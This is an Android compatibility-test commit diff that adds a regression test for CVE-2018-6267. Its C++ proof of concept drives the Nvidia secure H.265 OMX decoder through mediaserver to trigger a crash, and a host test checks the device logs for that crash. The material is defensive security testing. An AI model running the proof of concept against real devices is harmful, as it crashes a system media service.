[RESTRICT AUTOMERGE]: CTS test for Android Security CVE-2018-6267

Bug: 126635418
Bug: 70857947
Bug: 127856694
Test: cts-tradefed run cts -m CtsSecurityBulletinHostTestCases -t android.security.cts.Poc19_02
Change-Id: I649d9b23314559070b3ecf7ad4a24a97856835b1
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index d301369..f6d3fed 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -79,6 +79,11 @@
          * This binary only exists in 32-bit.
          */
         BINARY_EXCEPTIONS.add("testmpeg2dec32");
+
+        /**
+         * This binary only exists in 32-bit.
+         */
+        BINARY_EXCEPTIONS.add("CVE-2018-626732");
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index b3bbbff..ad2e622 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -203,6 +203,20 @@
         <option name="append-bitness" value="false" />
     </target_preparer>
 
+    <!-- This PoC only hits with the 32-bit binary. Only push 32 for 64 and 32-bit arches -->
+    <!-- This section is reserved for OMX tests that need to be 32-bit so they can get a  -->
+    <!-- proper OMX instance. 64-bit PoCs don't get it and therefore don't hit the vuln.  -->
+    <!-- All tests in this section should take care to only build the 32-bit binary.      -->
+    <!-- In order to pass tradefed presubmit ValidateTestsAbi, add an exception.          -->
+    <!-- For more details, visit b/127856694                                              -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+
+        <option name="push" value="CVE-2018-626732->/data/local/tmp/CVE-2018-6267" />
+
+        <option name="append-bitness" value="false" />
+    </target_preparer>
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="OomCatcher.apk" />
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/Android.mk
new file mode 100644
index 0000000..df9b19b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-6267
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+
+LOCAL_SHARED_LIBRARIES:= \
+    libbinder \
+    android.hardware.media.omx@1.0 \
+    libutils \
+    libhidlmemory \
+    libcutils \
+    libmedia \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/poc.cpp
new file mode 100644
index 0000000..129d404
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-6267/poc.cpp
@@ -0,0 +1,195 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <binder/Binder.h>
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/ProcessState.h>
+
+#include <binder/MemoryBase.h>
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryHeapBase.h>
+
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+
+#include <android/hardware/media/omx/1.0/IOmx.h>
+#include <media/omx/1.0/WOmx.h>
+
+#include <cutils/properties.h>
+
+#include "OMX_Component.h"  // OMX_PARAM_PORTDEFINITIONTYPE
+
+#include <binder/MemoryBase.h>
+#include <binder/MemoryDealer.h>
+#include <binder/MemoryHeapBase.h>
+
+using namespace android;
+using namespace android::binder;
+
+template <class T>
+static void InitOMXParams(T *params) {
+  params->nSize = sizeof(T);
+  params->nVersion.s.nVersionMajor = 1;
+  params->nVersion.s.nVersionMinor = 0;
+  params->nVersion.s.nRevision = 0;
+  params->nVersion.s.nStep = 0;
+}
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages) {
+    if (messages.empty()) {
+      return;
+    }
+  }
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+static bool connectOMX(sp<IOMX> &omx) {
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> mediaPlayerService =
+      interface_cast<IMediaPlayerService>(binder);
+
+  if (mediaPlayerService == NULL) {
+    // cannot get the media player service
+    return false;
+  }
+
+  omx = mediaPlayerService->getOMX();
+  if (omx == NULL) {
+    // cannot get the OMX interface
+    return false;
+  }
+
+  return true;
+}
+
+int main() {
+  android::ProcessState::self()->startThreadPool();
+
+  sp<IOMX> omx;
+  if (connectOMX(omx) == false) {
+    return EXIT_FAILURE;
+  }
+
+  status_t err;
+  sp<IOMXNode> node;
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+  const char *codecName = "OMX.Nvidia.h265.decode.secure";
+  err = omx->allocateNode(codecName, observer, &node);
+  if (err != OK) {
+    // node allocation fails
+    return EXIT_FAILURE;
+  }
+
+  int fenceFd = -1;
+  int inMemSize;
+  int inBufferCnt;
+  int inBufferSize;
+  int outMemSize;
+  int outBufferCnt;
+  int outBufferSize;
+
+  sp<MemoryDealer> dealerIn;
+  sp<MemoryDealer> dealerOut;
+  IOMX::buffer_id *inBufferId;
+  IOMX::buffer_id *outBufferId;
+  OMX_INDEXTYPE omx_indextype;
+  OMX_PARAM_PORTDEFINITIONTYPE defInput;
+  OMX_PARAM_PORTDEFINITIONTYPE defOutput;
+
+  {
+    omx_indextype = OMX_IndexParamPortDefinition;
+    // get input port parameters
+    InitOMXParams(&defInput);
+    defInput.nPortIndex = 0;
+    err = node->getParameter(omx_indextype, &defInput, sizeof(defInput));
+
+    // get output port parameters
+    InitOMXParams(&defOutput);
+    defOutput.nPortIndex = 1;
+    err = node->getParameter(omx_indextype, &defOutput, sizeof(defOutput));
+  }
+
+  err = node->setPortMode(0, IOMX::kPortModePresetSecureBuffer);
+
+  inMemSize = defInput.nBufferCountActual * defInput.nBufferSize;
+  inBufferCnt = defInput.nBufferCountActual;
+  inBufferSize = inMemSize / inBufferCnt;
+  // prepare input port buffers
+  dealerIn = new MemoryDealer(inMemSize);
+  inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+  // change state from loaded to idle
+  err = node->sendCommand(OMX_CommandStateSet, 2);
+
+  usleep(300000);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+    for (int i = 0; i < inBufferSize / 4; i++) {
+      *((int *)memory->pointer() + i) = 0x12345678;
+    }
+
+    OMXBuffer omxBuf(memory);
+    void *buffer_data = NULL;
+    sp<NativeHandle> native_handle;
+    err = node->allocateSecureBuffer(0, inBufferSize, &inBufferId[i],
+                                     &buffer_data, &native_handle);
+  }
+
+  // prepare output port buffers
+  outMemSize = defOutput.nBufferCountActual * defOutput.nBufferSize;
+  outBufferCnt = defOutput.nBufferCountActual;
+  outBufferSize = outMemSize / outBufferCnt;
+  // prepare output port buffers
+  dealerOut = new MemoryDealer(outMemSize);
+  outBufferId = new IOMX::buffer_id[outBufferCnt];
+  for (int i = 0; i < outBufferCnt; i++) {
+    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+    memset(memory->pointer(), 0x66, outBufferSize);
+    OMXBuffer omxBuf(memory);
+    err = node->useBuffer(1, omxBuf, &outBufferId[i]);
+  }
+
+  // change state from idle to executing
+  err = node->sendCommand(OMX_CommandStateSet, 3);
+
+  usleep(300000);
+
+  for (int i = 0; i < inBufferCnt; i++) {
+    OMXBuffer omxBuf(0, inBufferSize);
+    err = node->emptyBuffer(inBufferId[i], omxBuf, 0, 0, fenceFd);
+  }
+
+  for (int i = 0; i < outBufferCnt; i++) {
+    OMXBuffer omxBuf(0, outBufferSize);
+    err = node->fillBuffer(outBufferId[i], omxBuf, fenceFd);
+  }
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
new file mode 100644
index 0000000..a863c0e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_02.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc19_02 extends SecurityTestCase {
+
+    /**
+     * b/70857947
+     */
+    @SecurityTest(minPatchLevel = "2019-02")
+    public void testPocCVE_2018_6367() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPocNoOutput("CVE-2018-6267", getDevice(), 60);
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<", logcat);
+    }
+}